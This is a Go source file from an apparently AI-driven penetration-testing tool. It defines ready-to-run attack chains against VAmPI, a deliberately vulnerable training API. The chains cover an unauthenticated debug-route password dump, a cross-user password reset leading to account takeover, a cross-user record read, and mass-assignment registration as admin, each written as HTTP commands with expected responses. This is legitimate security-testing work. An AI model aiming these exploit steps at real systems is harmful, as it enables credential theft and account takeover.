package recon

import (
	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"
	"github.com/google/uuid"
)

// vampiChains are VAmPI's deterministic, ready-to-run attack playbooks. Unlike
// an endpoint pack (which the LLM turns into improvised chains), each chain here
// was executed and CONFIRMED against a live VAmPI (erev0s/vampi, VULNERABLE=1,
// after /createdb) — so the exploit agent runs them step-for-step and a known
// high-value finding lands reliably, independent of the model driving the swarm.
//
// Verified live: /users/v1/_debug dumps plaintext passwords unauthenticated;
// login returns the JWT under "auth_token"; an ordinary user's token can PUT
// another user's password (HTTP 204) → log in as that victim (HTTP 200) = full
// account takeover; GET /users/v1/{other} returns another user's record; and
// register persists a client-supplied "admin":true (mass assignment).
func vampiChains(base string) []pipeline.AttackPath {
	return []pipeline.AttackPath{
		vampiDebugPasswordDump(base),
		vampiBFLAAccountTakeover(base),
		vampiBOLACrossUserRead(base),
		vampiMassAssignmentAdmin(base),
	}
}

// vampiAuthSteps registers a throwaway attacker account and logs in, capturing
// the JWT into {{jwt}}. When admin is true it also sends "admin":true in the
// registration body (the mass-assignment vector). {{nonce}} keeps the username
// unique so re-runs against a persistent DB don't collide ("already exists").
func vampiAuthSteps(base string, admin bool) []pipeline.AttackStep {
	regBody := `{"username":"atk_{{nonce}}","password":"Attacker@123","email":"atk_{{nonce}}@example.com"}`
	if admin {
		regBody = `{"username":"atk_{{nonce}}","password":"Attacker@123","email":"atk_{{nonce}}@example.com","admin":true}`
	}
	return []pipeline.AttackStep{
		{
			ID:          uuid.New(),
			Name:        "register throwaway attacker account",
			TechniqueID: "T1136",
			Command:     "httpreq --method POST --url " + base + "/users/v1/register --body '" + regBody + "'",
		},
		{
			ID:          uuid.New(),
			Name:        "log in and capture the JWT (auth_token)",
			TechniqueID: "T1078",
			Command: "httpreq --method POST --url " + base + "/users/v1/login " +
				`--body '{"username":"atk_{{nonce}}","password":"Attacker@123"}' --capture jwt=$.auth_token`,
			ExpectedOutputPattern: "HTTP 200",
		},
	}
}

// vampiDebugPasswordDump — excessive data exposure: the /users/v1/_debug route
// is left enabled and dumps every user record, passwords included, with no
// authentication. A response containing a "password" field proves it.
func vampiDebugPasswordDump(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "VAmPI excessive data exposure: unauthenticated /users/v1/_debug password dump",
		Description: "The /users/v1/_debug route is exposed with no authentication and returns every user " +
			"record — username, email, and password — in cleartext. Any unauthenticated client can harvest the " +
			"full credential set. Proven by an anonymous GET returning a \"password\" field for every user.",
		ExpectedImpact:              "critical",
		EstimatedSuccessProbability: 0.99,
		RequiredPrivileges:          "unauthenticated",
		Steps: []pipeline.AttackStep{
			{
				ID:                    uuid.New(),
				Name:                  "dump every user's credentials (no auth)",
				TechniqueID:           "T1213", // Data from Information Repositories
				Command:               "httpreq --method GET --url " + base + "/users/v1/_debug",
				ExpectedOutputPattern: `"password"`,
			},
		},
	}
}

// vampiBFLAAccountTakeover — the flagship chain. An ordinary user's token is
// accepted to change ANOTHER user's password; the attacker then logs in as that
// victim. Verified end-to-end: PUT /users/v1/name1/password → 204, then login
// as name1 with the new password → 200. name1 is a seeded user (run /createdb
// to restore it afterward).
func vampiBFLAAccountTakeover(base string) pipeline.AttackPath {
	steps := vampiAuthSteps(base, false)
	steps = append(steps,
		pipeline.AttackStep{
			ID:          uuid.New(),
			Name:        "BFLA: reset the victim (name1)'s password with the attacker's own token",
			TechniqueID: "T1098", // Account Manipulation
			Command: "httpreq --method PUT --url " + base + "/users/v1/name1/password " +
				`--header 'Authorization: Bearer {{jwt}}' --body '{"password":"Pwned@123"}'`,
			ExpectedOutputPattern: "HTTP 204",
		},
		pipeline.AttackStep{
			ID:          uuid.New(),
			Name:        "account takeover: log in as the victim (name1) with the attacker-set password",
			TechniqueID: "T1078",
			Command: "httpreq --method POST --url " + base + "/users/v1/login " +
				`--body '{"username":"name1","password":"Pwned@123"}'`,
			ExpectedOutputPattern: "HTTP 200",
		},
	)
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "VAmPI broken function-level authorization: cross-user password reset → account takeover",
		Description: "VAmPI's password-update route (PUT /users/v1/{username}/password) does not verify that " +
			"the caller owns the account named in the path — it trusts any valid token. An ordinary user " +
			"registers, logs in, and resets another user's (name1) password, then logs in as that victim: " +
			"full account takeover with no privileged access. Proven by the victim login (HTTP 200) with the " +
			"attacker-chosen password.",
		ExpectedImpact:              "critical",
		EstimatedSuccessProbability: 0.95,
		RequiredPrivileges:          "an ordinary registered user",
		Steps:                       steps,
	}
}

// vampiBOLACrossUserRead — broken object-level authorization: an authenticated
// ordinary user reads another user's record by username. Verified: GET
// /users/v1/name2 with the attacker's token returns name2's record (HTTP 200).
func vampiBOLACrossUserRead(base string) pipeline.AttackPath {
	steps := vampiAuthSteps(base, false)
	steps = append(steps, pipeline.AttackStep{
		ID:          uuid.New(),
		Name:        "BOLA: read another user's (name2) record with the attacker's token",
		TechniqueID: "T1087", // Account Discovery
		Command: "httpreq --method GET --url " + base + "/users/v1/name2 " +
			"--header 'Authorization: Bearer {{jwt}}'",
		ExpectedOutputPattern: "name2",
	})
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "VAmPI broken object-level authorization: cross-user record read",
		Description: "GET /users/v1/{username} returns the named user's record to any authenticated caller, " +
			"with no object-level ownership check. An ordinary user reads other users' accounts at will. Proven " +
			"by retrieving user name2's record using an unrelated attacker account's token.",
		ExpectedImpact:              "high",
		EstimatedSuccessProbability: 0.95,
		RequiredPrivileges:          "an ordinary registered user",
		Steps:                       steps,
	}
}

// vampiMassAssignmentAdmin — mass assignment: the registration handler persists
// a client-supplied "admin":true. Verified: a user registered with admin:true
// shows admin=true in /users/v1/_debug. The chain registers such an account and
// logs in; the privileged field was accepted at registration (step 1 body).
func vampiMassAssignmentAdmin(base string) pipeline.AttackPath {
	return pipeline.AttackPath{
		ID:   uuid.New(),
		Name: "VAmPI mass assignment: self-register as admin",
		Description: "VAmPI's registration handler accepts and persists an undocumented client-supplied " +
			"\"admin\":true field, so anyone can self-register a privileged account the business logic never " +
			"grants. Verified against /users/v1/_debug, which shows the created account with admin=true. The " +
			"chain registers {username, password, email, admin:true} and logs in (HTTP 200) as that account.",
		ExpectedImpact:              "high",
		EstimatedSuccessProbability: 0.9,
		RequiredPrivileges:          "unauthenticated (self-registers the privileged account)",
		Steps:                       vampiAuthSteps(base, true),
	}
}
